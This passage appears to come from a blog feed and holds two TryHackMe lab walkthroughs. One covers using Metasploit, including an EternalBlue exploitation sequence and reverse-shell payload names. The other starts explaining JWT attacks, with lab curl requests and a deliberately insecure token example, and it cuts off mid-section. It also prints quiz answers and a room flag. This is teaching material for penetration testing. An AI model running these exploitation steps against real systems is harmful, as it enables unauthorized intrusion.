Execution</pre><p>Consider a vulnerable Windows service. The vulnerability may allow remote code execution. The exploit is the mechanism that triggers the vulnerability, while the payload determines what happens after successful exploitation.</p><p>The payload might provide:</p><ul><li>A command shell.</li><li>A Meterpreter session.</li><li>Execution of a specific command.</li><li>A standalone action.</li></ul><p>Understanding this separation is extremely important when working with Metasploit because choosing a working exploit does not automatically mean you have achieved your objective. The exploit must be combined with an appropriate payload.</p><h4>Metasploit Module Categories</h4><h4>Auxiliary</h4><p>Auxiliary modules perform supporting tasks that do not necessarily involve exploitation.</p><p>They can be used for:</p><ul><li>Scanning.</li><li>Enumeration.</li><li>Fuzzing.</li><li>Service discovery.</li><li>Information gathering.</li></ul><p>For example, an auxiliary scanner can determine whether a target is vulnerable without actually exploiting it.</p><h4>Encoders</h4><p>Encoders transform payloads into different representations.</p><p>Historically, this was sometimes used to bypass simple signature-based antivirus detection. However, modern security solutions use multiple detection mechanisms, so encoding should not be considered a reliable antivirus bypass technique.</p><p>In modern penetration testing, encoders are better understood as tools for transforming payload representations rather than guaranteed security-evasion mechanisms.</p><h4>Evasion</h4><p>Evasion modules are specifically designed to attempt to bypass security controls.</p><p>This is different from encoding.</p><p>An encoder changes the representation of a payload, while an evasion module attempts to make malicious activity less detectable by a security product.</p><h4>Exploits</h4><p>Exploit modules contain code designed to take advantage of known vulnerabilities.</p><p>They are organized according to target platforms and technologies, including:</p><ul><li>Windows.</li><li>Linux.</li><li>Unix.</li><li>Android.</li><li>macOS.</li><li>BSD.</li><li>Solaris.</li></ul><p>When selecting an exploit, the key question is:</p><blockquote><em>Does this exploit actually match the vulnerability and configuration of my target?</em></blockquote><p>Using the wrong exploit can result in failure or even system instability.</p><h4>NOPs</h4><p>NOP stands for <strong>No Operation</strong>.</p><p>A NOP instruction does not perform a meaningful operation. In exploit development, NOPs can be used as padding or to help create predictable payload layouts.</p><p>On x86 systems, the classic NOP instruction is represented by:</p><pre>0x90</pre><p>NOPs are particularly relevant when studying memory corruption and exploit development.</p><h4>Payloads</h4><p>Payloads are the code that executes on the target after successful exploitation.</p><p>Examples include:</p><ul><li>Executing a command.</li><li>Opening a shell.</li><li>Establishing a Meterpreter session.</li><li>Performing a specific action on the target.</li></ul><p>Metasploit payloads are divided into several categories.</p><h4>Singles</h4><p>A single payload is self-contained and does not require a separate stage to be downloaded.</p><p>Examples include payloads that perform a single action or provide a complete shell.</p><h4>Stagers</h4><p>A stager is a small initial payload responsible for establishing communication between the target and the attacker.</p><p>Its main purpose is to create the communication channel needed to retrieve the larger payload.</p><h4>Stages</h4><p>A stage is the larger payload delivered after the stager establishes the connection.</p><p>This approach can be useful when the complete payload is too large to deliver in a single initial request.</p><h4>Adapters</h4><p>Adapters wrap payloads and convert them into different formats or execution mechanisms.</p><p>For example, a payload can be wrapped so that it executes through another supported mechanism.</p><h4>Single vs Staged Payloads</h4><p>Metasploit’s naming convention can help distinguish between single and staged payloads.</p><p>Consider:</p><pre>generic/shell_reverse_tcp</pre><p>and:</p><pre>windows/x64/shell/reverse_tcp</pre><p>The first is a <strong>single/inline payload</strong>, while the second represents a <strong>staged payload</strong>.</p><p>The naming structure is subtle but important when selecting payloads.</p><h4>Questions &amp; Answers</h4><h4>Question 1</h4><blockquote>What is the name of the code taking advantage of a flaw on the target system?</blockquote><h4>Answer: Exploit</h4><p><strong>Explanation:</strong> An exploit is the code or technique used to take advantage of a vulnerability. The vulnerability is the underlying weakness, while the exploit is what actively triggers or abuses that weakness.</p><h4>Question 2</h4><blockquote>What is the name of the code that runs on the target system to achieve the attacker’s goal?</blockquote><h4>Answer: Payload</h4><p><strong>Explanation:</strong> The payload is the code executed after successful exploitation. Depending on the objective, it may provide a shell, execute commands, establish a Meterpreter session, or perform another action.</p><h4>Question 3</h4><blockquote>What are self-contained payloads called?</blockquote><h4>Answer: Singles</h4><p><strong>Explanation:</strong> Single payloads contain everything required to perform their intended action without relying on a separate stager and stage. This makes them different from staged payloads, which are delivered in multiple components.</p><h4>Question 4</h4><blockquote>Is “windows/x64/pingback_reverse_tcp” among singles or staged payload?</blockquote><h4>Answer: Singles</h4><p><strong>Explanation:</strong> The payload uses the inline/single naming convention. In Metasploit, the structure of the payload name can help distinguish between self-contained payloads and staged payloads.</p><h3>Task 3 — Msfconsole</h3><h4>Summary</h4><p>msfconsole is the primary interface for interacting with the Metasploit Framework.</p><p>You can launch it by running:</p><pre>msfconsole</pre><p>After launching it, the prompt changes to something similar to:</p><pre>msf6 &gt;</pre><p>From this interface, you can search for modules, select exploits, configure parameters, execute modules, and manage sessions.</p><p>One important feature is that msfconsole supports many familiar system commands.</p><p>For example:</p><pre>msf6 &gt; ls</pre><p>You can also execute commands such as:</p><pre>msf6 &gt; ping -c 1 8.8.8.8</pre><p>However, msfconsole is not a complete replacement for a normal Linux shell. Some shell functionality, such as standard output redirection, is not supported in the same way.</p><h4>Help and History</h4><p>The help command provides information about available Metasploit commands.</p><p>You can also request help for a specific command:</p><pre>help set</pre><p>This is particularly useful when learning unfamiliar commands.</p><p>The history command displays commands that were previously executed:</p><pre>history</pre><p>This can be helpful when reviewing your workflow or repeating a previous sequence of commands.</p><p>Another useful feature is <strong>tab completion</strong>, which makes navigating long module paths much easier.</p><h4>Context in Metasploit</h4><p>Metasploit is heavily based on the concept of <strong>context</strong>.</p><p>When you select a module using:</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>the prompt changes to something similar to:</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>This tells you that you are now working inside the context of that specific exploit.</p><p>Settings configured with set normally belong to the current module context.</p><p>For example:</p><pre>set RHOSTS 10.10.10.10</pre><p>If you switch to another module, that setting may no longer be available because it was associated with the previous module.</p><p>This is why understanding the current prompt is important.</p><h4>show options</h4><p>After selecting a module, the first command you should normally run is:</p><pre>show options</pre><p>This displays the parameters required by the module.</p><p>For example:</p><pre>RHOSTS<br>RPORT<br>LHOST<br>LPORT<br>PAYLOAD</pre><p>Not every module uses the same parameters.</p><p>An exploit may require a target address and port, while a post-exploitation module may require a session ID.</p><h4>show payloads</h4><p>To see compatible payloads for the selected exploit:</p><pre>show payloads</pre><p>This allows you to choose a payload that matches your target platform and desired outcome.</p><h4>info</h4><p>The info command provides detailed information about a module.</p><p>For example:</p><pre>info</pre><p>It can reveal:</p><ul><li>Module name.</li><li>Description.</li><li>Author.</li><li>Target platform.</li><li>Supported targets.</li><li>Required options.</li><li>References.</li><li>Vulnerability information.</li></ul><p>This is especially useful when you need to verify that a module is appropriate for a target.</p><h4>Searching for Modules</h4><p>The search command is one of the most important commands in Metasploit.</p><p>For example:</p><pre>search ms17-010</pre><p>You can search using:</p><ul><li>Vulnerability names.</li><li>CVE identifiers.</li><li>Product names.</li><li>Technology names.</li><li>Exploit names.</li></ul><p>You can also filter results.</p><p>For example:</p><pre>search type:auxiliary telnet</pre><p>This limits the results to auxiliary modules related to Telnet.</p><p>The search results also include a <strong>rank</strong> that indicates the expected reliability of an exploit.</p><p>However, exploit rankings are not guarantees.</p><p>A highly ranked exploit may still fail against a specific target, while a lower-ranked exploit may work perfectly in a particular environment.</p><p>The target’s operating system, architecture, configuration, patches, and network conditions all matter.</p><h4>Questions &amp; Answers</h4><h4>Question 1</h4><blockquote>How would you search for a module related to Apache?</blockquote><h4>Answer: search apache</h4><p><strong>Explanation:</strong> The search command queries Metasploit&#39;s module database. Searching for apache allows you to discover modules related to Apache technologies, including scanners and potential exploits.</p><h4>Question 2</h4><blockquote>Who provided the auxiliary/scanner/ssh/ssh_login module?</blockquote><h4>Answer: todb</h4><p><strong>Explanation:</strong> Metasploit modules include metadata about their authors or contributors. The info command can be used to inspect module details and identify the person or group credited with providing a module.</p><h3>Task 4 — Working with Modules</h3><h4>Summary</h4><p>Once you identify an appropriate module, the next stage is configuring it correctly.</p><p>A typical workflow looks like this:</p><pre>Search<br>  ↓<br>Select Module<br>  ↓<br>Review Options<br>  ↓<br>Configure Parameters<br>  ↓<br>Choose Payload<br>  ↓<br>Check Target<br>  ↓<br>Run Exploit<br>  ↓<br>Manage Session</pre><p>This workflow closely resembles how penetration testers approach exploitation in real engagements.</p><h4>Understanding Metasploit Prompts</h4><p>Metasploit can display different prompts depending on your current context.</p><h4>Normal System Shell</h4><pre>root@kali:~#</pre><p>This is your regular operating system shell.</p><h4>Metasploit Console</h4><pre>msf6 &gt;</pre><p>This indicates that you are inside msfconsole but have not selected a specific module.</p><h4>Module Context</h4><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>This means a specific module has been selected.</p><h4>Meterpreter</h4><pre>meterpreter &gt;</pre><p>This indicates that you are interacting with a Meterpreter session.</p><h4>Target Shell</h4><pre>C:\Windows\system32&gt;</pre><p>Commands entered here are executed directly on the compromised Windows system.</p><p>Recognizing these prompts helps prevent one of the most common beginner mistakes: running a command in the wrong context.</p><h4>Setting Parameters</h4><p>Parameters are configured using:</p><pre>set PARAMETER VALUE</pre><p>For example:</p><pre>set RHOSTS 10.10.10.10</pre><p>Some of the most common options include:</p><h4>RHOSTS</h4><p>The remote target or targets.</p><p>It can represent:</p><ul><li>A single IP.</li><li>A network range.</li><li>CIDR notation.</li><li>A file containing multiple targets.</li></ul><h4>RPORT</h4><p>The remote port where the vulnerable service is running.</p><p>For example:</p><pre>set RPORT 445</pre><p>Never blindly trust default values. A module may assume a service is running on port 80, while the actual target uses 8080.</p><h4>PAYLOAD</h4><p>The payload to execute after successful exploitation.</p><h4>LHOST</h4><p>The IP address of the attacking machine that the target should connect back to.</p><h4>LPORT</h4><p>The local port where Metasploit listens for the incoming connection.</p><p>For example:</p><pre>set LPORT 6666</pre><h4>SESSION</h4><p>The identifier of an existing connection.</p><p>Post-exploitation modules often require a session ID instead of directly connecting to the target.</p><h4>set vs setg</h4><p>The set command changes a value for the current module.</p><pre>set RHOSTS 10.10.10.10</pre><p>The setg command sets a <strong>global value</strong> that can be reused across modules.</p><pre>setg RHOSTS 10.10.10.10</pre><p>This is useful when repeatedly working against the same target.</p><p>For example:</p><pre>setg RHOSTS 10.10.10.10</pre><p>You can then switch modules and the global RHOSTS value remains available.</p><p>To remove a global value:</p><pre>unsetg RHOSTS</pre><h4>Clearing Parameters</h4><p>To remove a specific parameter:</p><pre>unset PAYLOAD</pre><p>To clear all parameters in the current module context:</p><pre>unset all</pre><p>This is useful when reusing a module and wanting to start with a clean configuration.</p><h4>Running Modules</h4><p>Once the required parameters are configured, the module can be executed with:</p><pre>exploit</pre><p>Metasploit also supports:</p><pre>run</pre><p>run is particularly useful because not every module is an exploit. For example, scanners and auxiliary modules can also be executed using run.</p><p>You can also use:</p><pre>exploit -z</pre><p>The -z option allows the session to be automatically backgrounded after it is created.</p><h4>Checking for Vulnerabilities</h4><p>Some modules support:</p><pre>check</pre><p>This attempts to determine whether the target appears vulnerable without actually executing the full exploit.</p><p>This is an important feature in professional penetration testing because exploitation can sometimes cause:</p><ul><li>Service crashes.</li><li>System instability.</li><li>Reboots.</li><li>Data loss.</li></ul><p>Whenever possible, checking first can reduce unnecessary risk.</p><h4>Sessions</h4><p>After successful exploitation, Metasploit may establish a <strong>session</strong>.</p><p>A session represents an active communication channel between the attacker and the compromised system.</p><p>To list active sessions:</p><pre>sessions</pre><p>To interact with a specific session:</p><pre>sessions -i 2</pre><p>You can temporarily leave a Meterpreter session without terminating it by using:</p><pre>background</pre><p>You can then return to it later.</p><p>This is particularly useful during post-exploitation, where you may have multiple active sessions and need to switch between targets.</p><h4>Practical Exploitation — MS17–010 / EternalBlue</h4><p>One of the practical examples in this room demonstrates the exploitation workflow using <strong>MS17–010</strong>, commonly associated with the <strong>EternalBlue</strong> exploit.</p><p>EternalBlue targets a vulnerability in the Windows SMBv1 implementation.</p><p>The important lesson here is not simply the exploit itself. The goal is to understand the methodology.</p><h4>Step 1 — Identify the Vulnerability</h4><p>The first step is determining whether the target is vulnerable.</p><p>A scanner can be used to identify systems affected by MS17–010.</p><p>The attacker is essentially asking:</p><blockquote><em>Does this target expose the vulnerable service, and does it appear to be affected by the known vulnerability?</em></blockquote><p>This is preferable to immediately launching an exploit without verification.</p><h4>Step 2 — Select the Exploit</h4><p>Once the vulnerability is identified, the appropriate Metasploit exploit module can be selected.</p><p>For example:</p><pre>use exploit/windows/smb/ms17_010_eternalblue</pre><p>At this point, the attacker has entered the exploit’s context.</p><h4>Step 3 — Review the Configuration</h4><p>The next step is:</p><pre>show options</pre><p>This reveals the required parameters.</p><p>The attacker should verify:</p><ul><li>Target IP.</li><li>Target port.</li><li>Payload.</li><li>Local listening address.</li><li>Local listening port.</li></ul><p>This step is critical because a technically correct exploit can still fail due to incorrect configuration.</p><h4>Step 4 — Configure the Target</h4><p>The target address can be configured with:</p><pre>set RHOSTS TARGET_IP</pre><p>The target port may already be set to the expected SMB port:</p><pre>RPORT 445</pre><p>However, configuration should always be verified rather than blindly accepting defaults.</p><h4>Step 5 — Choose the Payload</h4><p>The exploit must be paired with a compatible payload.</p><p>A Meterpreter reverse shell is commonly used in controlled lab environments because it provides an interactive session after exploitation.</p><p>The key concept is:</p><pre>Exploit → Vulnerability<br>Payload → Desired Result</pre><p>The exploit gets execution.</p><p>The payload determines what happens after execution.</p><h4>Step 6 — Execute the Exploit</h4><p>After all required options are configured, the exploit can be launched:</p><pre>exploit</pre><p>If successful, Metasploit establishes a session with the target.</p><p>The important point is that exploitation is not necessarily the end of the engagement. It is often the transition from <strong>initial access</strong> to <strong>post-exploitation</strong>.</p><h4>Step 7 — Manage the Session</h4><p>Once a session exists, it can be listed with:</p><pre>sessions</pre><p>Then you can interact with a specific session:</p><pre>sessions -i 2</pre><p>This provides access to the compromised system through the established communication channel.</p><p>From there, a penetration tester would typically continue with activities such as:</p><ul><li>Enumerating the compromised host.</li><li>Identifying the current user.</li><li>Checking privileges.</li><li>Gathering system information.</li><li>Looking for additional attack paths.</li></ul><p>These activities fall under the broader concept of <strong>post-exploitation</strong>.</p><h4>Questions &amp; Answers</h4><h4>Question 1</h4><blockquote>How would you set the LPORT value to 6666?</blockquote><h4>Answer: set LPORT 6666</h4><p><strong>Explanation:</strong> The set command modifies a parameter in the current module context. Setting LPORT to 6666 tells the selected module to use port 6666 for the local listener.</p><h4>Question 2</h4><blockquote>How would you set the global value for RHOSTS to 10.10.19.23 ?</blockquote><h4>Answer: setg RHOSTS 10.10.19.23</h4><p><strong>Explanation:</strong> The setg command creates a global setting that can be reused across different Metasploit modules. This is useful when multiple modules are being used against the same target.</p><h4>Question 3</h4><blockquote>What command would you use to clear a set payload?</blockquote><h4>Answer: unset PAYLOAD</h4><p><strong>Explanation:</strong> The unset command removes a previously configured parameter from the current module context. Here, it specifically clears the selected payload.</p><h4>Question 4</h4><blockquote>What command do you use to proceed with the exploitation phase?</blockquote><h4>Answer: exploit</h4><p><strong>Explanation:</strong> The exploit command launches the selected exploit using the configured parameters and payload. If successful, it may result in a new session with the target system.</p><h3>Task 5 — Summary</h3><h4>Final Thoughts</h4><p>Metasploit is much more than a collection of ready-made exploits. Its real strength comes from providing a structured framework for the exploitation process.</p><p>The most important concepts covered in this room are:</p><ul><li><strong>Vulnerability</strong> — the weakness in the target.</li><li><strong>Exploit</strong> — the mechanism used to abuse that weakness.</li><li><strong>Payload</strong> — the code executed to achieve the attacker’s objective.</li><li><strong>Modules</strong> — reusable components designed for specific tasks.</li><li><strong>msfconsole</strong> — the primary interface for interacting with the framework.</li><li><strong>Sessions</strong> — active communication channels established with compromised systems.</li></ul><p>A basic exploitation workflow can be summarized as:</p><pre>Identify Vulnerability<br>        ↓<br>Search for Relevant Module<br>        ↓<br>Select Exploit<br>        ↓<br>Review Module Information<br>        ↓<br>Configure Parameters<br>        ↓<br>Select Payload<br>        ↓<br>Check Target<br>        ↓<br>Execute Exploit<br>        ↓<br>Establish Session<br>        ↓<br>Perform Post-Exploitation</pre><p>This workflow is highly relevant to real-world penetration testing.</p><p>A professional penetration tester should not blindly run exploits. Instead, they should understand the target, verify the vulnerability, select the correct module, configure the environment carefully, and understand the potential impact of exploitation.</p><p>The room is particularly useful for beginners who are preparing for certifications such as <strong>eJPT, PNPT, CPTS, or OSCP</strong>, because it establishes the fundamentals needed to work comfortably with one of the most common exploitation frameworks in cybersecurity.</p><p>My recommendation is to treat this room as a <strong>foundation rather than an endpoint</strong>. After learning the basic commands, the next step should be practicing how to manually identify vulnerabilities, understand why an exploit works, and then use Metasploit to automate parts of the process.</p><p>The real skill is not memorizing:</p><pre>use<br>set<br>show options<br>exploit</pre><p>The real skill is understanding <strong>why</strong> you are using each command, <strong>what</strong> you expect to happen, and <strong>how</strong> you would troubleshoot the situation when the exploit fails.</p><p>That mindset is what turns Metasploit from a tool you can operate into a tool you can actually use effectively during a penetration test</p><p>If this summary helped you save some time (or a few brain cells ), don’t forget to <strong>follow</strong> and leave a <strong>👏 Clap</strong>. It really helps and motivates me to keep making more cybersecurity notes like this ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a969263f470" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JWT Security TryHackMe Room Walkthrough]]></title>
            <link>https://medium.com/@asoubea/jwt-security-tryhackme-room-walkthrough-1ac1a4bfc252?source=rss-70691c1333b5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ac1a4bfc252</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[jwt-authentication]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Amr Sebie]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 07:58:13 GMT</pubDate>
            <atom:updated>2026-07-26T07:58:13.481Z</atom:updated>
            <content:encoded><![CDATA[<p>lap link:<a href="https://tryhackme.com/room/jwtsecurity">https://tryhackme.com/room/jwtsecurity</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/1*jc0dVpYNgIdVHjPHePv1Ww.jpeg" /></figure><h3>JWT Security: Understanding and Exploiting Vulnerable JSON Web Token Implementations</h3><p>JSON Web Tokens (JWTs) are widely used for authentication and session management in modern APIs. This room explores how JWTs work, why they are popular, and how insecure implementations can lead to serious vulnerabilities such as token forgery, authentication bypass, and privilege escalation.</p><p>Throughout the room, we will examine common JWT security mistakes, including sensitive data exposure, signature validation flaws, weak secrets, algorithm confusion, token lifetime issues, and cross-service attacks. The goal is to understand both how these vulnerabilities are exploited and how developers can securely implement JWT-based authentication.</p><h3>Task 1 — Introduction</h3><h3>Summary</h3><p>The room begins by introducing JWT security and the importance of understanding token-based authentication.</p><p>JWTs are particularly important for penetration testers because they frequently appear in modern APIs and authentication systems.</p><p>An attacker who discovers a vulnerable JWT implementation may be able to manipulate authentication claims and escalate privileges.</p><p>The most important mindset when testing JWT authentication is:</p><blockquote><em>Never assume that a token is secure simply because it is signed.</em></blockquote><p>The implementation around the token is just as important as the cryptography itself.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>I am ready to learn about JWTs!</blockquote><h4><strong>Answer: No answer needed</strong></h4><h3>Task 2 — Token-Based Authentication</h3><h4>Summary</h4><p>Modern applications increasingly rely on APIs to provide functionality to different clients.</p><p>Instead of building completely separate backend logic for a web application and a mobile application, developers can create a centralized API that both clients communicate with.</p><p>This creates an important security advantage: authentication and authorization logic can potentially be centralized.</p><p>However, traditional browser-based authentication commonly relies on cookies.</p><p>Cookies are automatically managed by browsers and automatically attached to requests matching their scope.</p><p>For APIs serving multiple types of clients, developers often use <strong>token-based authentication</strong> instead.</p><p>A simplified token-based authentication flow looks like this:</p><pre>1. Client sends username and password<br>           |<br>           v<br>2. Server authenticates the user<br>           |<br>           v<br>3. Server generates a token<br>           |<br>           v<br>4. Client stores the token<br>           |<br>           v<br>5. Client sends token with future requests<br>           |<br>           v<br>6. Server validates token<br>           |<br>           v<br>7. Server determines user permissions</pre><p>A common implementation is to store the token in browser-side storage such as LocalStorage.</p><p>The client-side JavaScript then retrieves the token and sends it in the request header:</p><pre>Authorization: Bearer &lt;JWT&gt;</pre><p>This is different from cookie authentication because the browser is no longer responsible for automatically managing the authentication state.</p><p>The application itself must retrieve and attach the token.</p><h4>API Structure</h4><p>The lab API follows a simple pattern:</p><pre>POST /api/v1.0/exampleX</pre><p>The POST request is used to authenticate and receive a JWT.</p><p>The credentials follow this format:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;password&quot;: &quot;passwordX&quot;<br>}</pre><p>For example:</p><pre>curl -H &#39;Content-Type: application/json&#39; \<br>-X POST \<br>-d &#39;{ &quot;username&quot; : &quot;user&quot;, &quot;password&quot; : &quot;password1&quot; }&#39; \<br>http://MACHINE_IP/api/v1.0/example1</pre><p>After receiving the JWT, it can be sent in an authenticated request:</p><pre>curl -H &#39;Authorization: Bearer [JWT_TOKEN]&#39; \<br>http://MACHINE_IP/api/v1.0/example2?username=user</pre><p>The objective throughout the practical examples is to understand how vulnerable JWT implementations can allow a user to become an administrator.</p><h4>Attacker’s Methodology</h4><p>When testing a JWT-based API, a useful workflow is:</p><h4>Step 1 — Identify the Authentication Mechanism</h4><p>Determine whether the application uses:</p><ul><li>Cookies</li><li>Session IDs</li><li>JWTs</li><li>OAuth tokens</li><li>API keys</li></ul><p>If a JWT is found, inspect it carefully.</p><h4>Step 2 — Decode the Token</h4><p>JWTs are normally structured as:</p><pre>HEADER.PAYLOAD.SIGNATURE</pre><p>The first two components can generally be decoded without knowing the signing secret.</p><h4>Step 3 — Analyze the Claims</h4><p>Look for claims such as:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 0,<br>  &quot;role&quot;: &quot;user&quot;<br>}</pre><p>Ask yourself:</p><ul><li>Is authorization information stored inside the token?</li><li>Is sensitive information exposed?</li><li>Is an expiration time present?</li><li>What algorithm is being used?</li><li>Is the token intended for a specific application?</li></ul><h4>Step 4 — Test Signature Validation</h4><p>Determine whether changing claims causes the server to reject the token.</p><h4>Step 5 — Test Algorithm Handling</h4><p>Check whether the server securely restricts the allowed signing algorithms.</p><h4>Step 6 — Investigate Secret Strength</h4><p>If the token uses a symmetric algorithm such as HS256, determine whether the secret is weak enough to crack offline.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>What is the common header used to transport the JWT in a request?</blockquote><h4><strong>Answer: Authorization: Bearer</strong></h4><p><strong>Explanation</strong></p><p>JWTs are commonly transported through the HTTP Authorization header using the Bearer authentication scheme. The server extracts the token from the header and validates it before processing the request.</p><p>Example:</p><pre>Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...</pre><h3>Task 3 — JSON Web Tokens</h3><h4>Summary</h4><p>A JWT is a compact token format used to transfer information between parties.</p><p>A JWT normally consists of three Base64URL-encoded components:</p><pre>Header.Payload.Signature</pre><p>Each component has a different purpose.</p><h4>1. Header</h4><p>The header contains metadata about the token.</p><p>A typical header may look like:</p><pre>{<br>  &quot;typ&quot;: &quot;JWT&quot;,<br>  &quot;alg&quot;: &quot;HS256&quot;<br>}</pre><p>The alg field specifies the signing algorithm.</p><p>This field is extremely important during security testing because insecure handling of it can lead to algorithm attacks.</p><h4>2. Payload</h4><p>The payload contains <strong>claims</strong>.</p><p>For example:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 0<br>}</pre><p>Claims can represent information about:</p><ul><li>The user</li><li>Roles</li><li>Permissions</li><li>Token lifetime</li><li>Token audience</li><li>Token issuer</li></ul><p>The payload is <strong>encoded, not encrypted</strong>.</p><p>This is one of the most important concepts when working with JWTs.</p><p>Anyone who possesses the token can generally decode the header and payload.</p><p>Therefore, a JWT should never be treated as a secure container for secrets.</p><h4>3. Signature</h4><p>The signature allows the server to determine whether the token has been modified.</p><p>Conceptually:</p><pre>Header + Payload<br>       |<br>       v<br>Signing Algorithm + Key<br>       |<br>       v<br>Signature</pre><p>If an attacker changes the payload, the signature should no longer match.</p><p>For example:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;admin&quot;: 0<br>}</pre><p>Changing:</p><pre>&quot;admin&quot;: 0</pre><p>to:</p><pre>&quot;admin&quot;: 1</pre><p>should invalidate the signature.</p><p>This is why the signature is central to JWT security.</p><h4>JWT Signing Algorithms</h4><h4>None</h4><p>The None algorithm means the JWT has no cryptographic signature.</p><p>This is normally unsafe for authentication because the server cannot use a signature to prove that the token was issued by a trusted party.</p><h4>Symmetric Signing — HS256</h4><p>With symmetric signing, the same secret is used for signing and verification.</p><p>Conceptually:</p><pre>Signing:<br>Header + Payload + Secret<br>        |<br>        v<br>      HS256<br>        |<br>        v<br>    Signature</pre><p>The server needs to know the secret to verify the token.</p><p>The security of the system therefore depends heavily on the secret’s strength.</p><h4>Asymmetric Signing — RS256</h4><p>Asymmetric algorithms use a key pair:</p><pre>Private Key<br>     |<br>     v<br>Signs JWT<br>     |<br>     v<br>JWT<br>     |<br>     v<br>Public Key<br>     |<br>     v<br>Verifies JWT</pre><p>The private key should remain secret.</p><p>The public key can normally be distributed to systems that need to verify the token.</p><p>This difference becomes extremely important when testing for <strong>algorithm confusion vulnerabilities</strong>.</p><h4>JWT vs JWE</h4><p>A JWT is generally signed but not necessarily encrypted.</p><p>An encrypted JWT is called a:</p><pre>JWE</pre><p>This distinction matters because encoding does not provide confidentiality.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>HS256 is an example of what type of signing algorithm?</blockquote><h4><strong>Answer: Symmetric</strong></h4><p><strong>Explanation</strong></p><p>HS256 is a symmetric signing algorithm because the same shared secret is used to generate and verify the signature. Anyone who obtains the secret can potentially create valid tokens.</p><h4>Question 2</h4><blockquote>RS256 is an example of what type of signing algorithm?</blockquote><h4><strong>Answer: Asymmetric</strong></h4><p><strong>Explanation</strong></p><p>RS256 uses asymmetric cryptography. The private key is used to sign tokens, while the corresponding public key is used to verify them.</p><h4>Question 3</h4><blockquote>What is the name used for encrypted JWTs?</blockquote><h4><strong>Answer: JWE</strong></h4><p><strong>Explanation</strong></p><p>JWE stands for JSON Web Encryption. Unlike a typical signed JWT, a JWE is designed to provide confidentiality by encrypting the token contents.</p><h3>Task 4 — Sensitive Information Disclosure</h3><h4>Summary</h4><p>One of the simplest JWT vulnerabilities occurs when developers place sensitive information inside the payload.</p><p>The key mistake is misunderstanding the difference between:</p><pre>Encoded</pre><p>and:</p><pre>Encrypted</pre><p>JWT payloads are normally Base64URL encoded.</p><p>They are not automatically encrypted.</p><p>Therefore, anyone who obtains the token can decode the payload.</p><p>Sensitive information that should never normally be placed in JWT claims includes:</p><ul><li>Passwords</li><li>Password hashes</li><li>API keys</li><li>Database credentials</li><li>Internal IP addresses</li><li>Internal hostnames</li><li>Secrets</li><li>Flags</li><li>Other confidential backend information</li></ul><h3>Practical Example 1</h3><h4>Step 1 — Authenticate</h4><p>The first step is to authenticate against the API:</p><pre>curl -H &#39;Content-Type: application/json&#39; \<br>-X POST \<br>-d &#39;{ &quot;username&quot; : &quot;user&quot;, &quot;password&quot; : &quot;password1&quot; }&#39; \<br>http://MACHINE_IP/api/v1.0/example1</pre><p>The server returns a JWT.</p><h4>Step 2 — Decode the Token</h4><p>The token can be decoded manually or using a JWT decoder.</p><p>The important point is that we do not need the signing secret to read the payload.</p><p>A vulnerable implementation might create the token like this:</p><pre>payload = {<br>    &quot;username&quot;: username,<br>    &quot;password&quot;: password,<br>    &quot;admin&quot;: 0,<br>    &quot;flag&quot;: &quot;[redacted]&quot;<br>}<br>access_token = jwt.encode(payload, self.secret, algorithm=&quot;HS256&quot;)</pre><p>This is insecure because the password and flag are now available to the client.</p><h3>Step 3 — Understand the Security Impact</h3><p>Even if the signature is perfectly implemented, the sensitive information is still exposed.</p><p>The signature protects <strong>integrity</strong>.</p><p>It does not automatically provide <strong>confidentiality</strong>.</p><p>Therefore:</p><pre>Valid Signature ≠ Secret Payload</pre><h3>Secure Development Approach</h3><p>Instead of storing sensitive data in the JWT:</p><pre>payload = jwt.decode(token, self.secret, algorithms=&quot;HS256&quot;)<br><br>username = payload[&#39;username&#39;]<br>flag = self.db_lookup(username, &quot;flag&quot;)</pre><p>The JWT contains only the information necessary to identify the user.</p><p>Sensitive information remains server-side.</p><h3>Questions &amp; Answers</h3><h4>Question 1</h4><blockquote>What is the flag for example 1?</blockquote><h4><strong>Answer: </strong><strong>THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}</strong></h4><p><strong>Explanation</strong></p><p>The vulnerability in this example is sensitive information disclosure through JWT claims. By decoding the payload, information that should have remained server-side can be recovered, including the flag.</p><h3>Task 5 — Signature Validation Mistakes</h3><h3>Summary</h3><p>The signature is supposed to prevent attackers from modifying JWT claims.</p><p>However, several implementation mistakes can undermine this protection.</p><p>The main issues covered in this section are:</p><ol><li>Signature verification disabled</li><li>None algorithm downgrade</li><li>Weak symmetric secrets</li><li>Algorithm confusion</li></ol><p>These vulnerabilities have different root causes, but they share the same fundamental problem:</p><blockquote><em>The server does not correctly enforce the cryptographic assumptions behind the JWT.</em></blockquote><h3>Practical Example 2 — Missing Signature Verification</h3><h4>Step 1 — Authenticate</h4><p>Authenticate normally:</p><pre>curl -H &#39;Content-Type: application/json&#39; \<br>-X POST \<br>-d &#39;{ &quot;username&quot; : &quot;user&quot;, &quot;password&quot; : &quot;password2&quot; }&#39; \<br>http://MACHINE_IP/api/v1.0/example2</pre><p>Receive the JWT.</p><h4>Step 2 — Test the Original Token</h4><p>Send the token:</p><pre>curl -H &#39;Authorization: Bearer [JWT_TOKEN]&#39; \<br>http://MACHINE_IP/api/v1.0/example2?username=user</pre><h4>Step 3 — Remove the 